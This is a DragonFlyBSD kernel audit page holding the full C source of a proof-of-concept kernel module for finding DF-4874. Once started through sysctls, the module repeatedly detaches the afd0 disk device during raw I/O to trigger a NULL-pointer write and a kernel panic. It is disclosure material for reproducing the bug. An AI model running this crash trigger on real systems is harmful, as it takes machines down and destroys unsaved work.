โฌข DragonFlyBSD Kernel Audit
DF-4874 / df4874_detach.c
โ† back to finding โ†“ download raw
/*
 * DF-4874 PoC โ€” trigger side: detach the live nata afd0 device while the
 * raw-I/O storm has the cdev open and is inside / re-enters ad_strategy().
 *
 *	sysctl kern.df4874_cycles=4
 *	sysctl kern.df4874_ms=200
 *	sysctl kern.df4874_run=1
 *
 * Each cycle: device_detach(afd0) โ€” the exact ad_detach() path
 * (ata-disk.c:167-203) that ends in kfree(adp) โ€” then re-attach via
 * device_probe_and_attach() so cycles can repeat.
 *
 * Expected baseline (bug present): kernel panic on the next post-detach
 * raw pread โ€” ad_strategy() fetches adp = device_get_ivars(dev) == NULL
 * and does devstat_start_transaction(&adp->stats) (ata-disk.c:360), a
 * write to near-NULL; or ad_done() does devstat_end_transaction_buf on
 * &((struct ad_softc *)NULL)->stats (ata-disk.c:376).  Fatal trap 12.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/kthread.h>
#include <sys/thread2.h>
#include <sys/bus.h>

static int	df4874_run;
static int	df4874_cycles = 4;
static int	df4874_ms = 200;
static int	df4874_last = -999;
static int	df4874_active;

static void
df4874_worker(void *arg __unused)
{
	devclass_t dc;
	device_t dev;
	int i;

	dc = devclass_find("afd");
	if (dc == NULL) {
		kprintf("df4874: afd devclass not found (kernel built without afd?)\n");
		goto out;
	}
	dev = devclass_get_device(dc, 0);
	if (dev == NULL) {
		kprintf("df4874: afd0 device_t is NULL\n");
		goto out;
	}
	for (i = 0; i < df4874_cycles; i++) {
		kprintf("df4874: cycle %d/%d detaching afd0 (%p)...\n",
		    i + 1, df4874_cycles, dev);
		df4874_last = device_detach(dev);
		kprintf("df4874: device_detach -> %d\n", df4874_last);
		if (df4874_last != 0)
			break;
		tsleep(&df4874_worker, 0, "df4874a", (df4874_ms * hz) / 1000);
		kprintf("df4874: re-attaching afd0...\n");
		if (device_probe_and_attach(dev)) {
			kprintf("df4874: re-attach failed\n");
			break;
		}
	}
out:
	df4874_run = 0;
	wakeup(&df4874_run);
	kthread_exit();
}

static int
df4874_sysctl_run(SYSCTL_HANDLER_ARGS)
{
	int error, v = df4874_run;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v != 0 && df4874_run == 0 && df4874_active == 0) {
		df4874_run = 1;
		df4874_active = 1;
		kthread_create(df4874_worker, NULL, NULL, "df4874w");
	}
	return (0);
}

static int
df4874_load(struct module *m, int what, void *arg __unused)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("df4874 detach-trigger loaded "
		    "(kern.df4874_run=1 to go)\n");
		break;
	case MOD_UNLOAD:
		kprintf("df4874 detach-trigger unloaded\n");
		break;
	}
	return (0);
}

static moduledata_t df4874_mod = { "df4874", df4874_load, NULL };
DECLARE_MODULE(df4874, df4874_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

SYSCTL_NODE(_kern, OID_AUTO, df4874, CTLFLAG_RW, 0, "DF-4874 PoC");
SYSCTL_PROC(_kern_df4874, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df4874_sysctl_run, "I", "start one detach/attach run");
SYSCTL_INT(_kern_df4874, OID_AUTO, cycles, CTLFLAG_RW,
    &df4874_cycles, 0, "detach cycles");
SYSCTL_INT(_kern_df4874, OID_AUTO, ms, CTLFLAG_RW,
    &df4874_ms, 0, "ms between detach and re-attach");
SYSCTL_INT(_kern_df4874, OID_AUTO, last, CTLFLAG_RD,
    &df4874_last, 0, "last device_detach() result");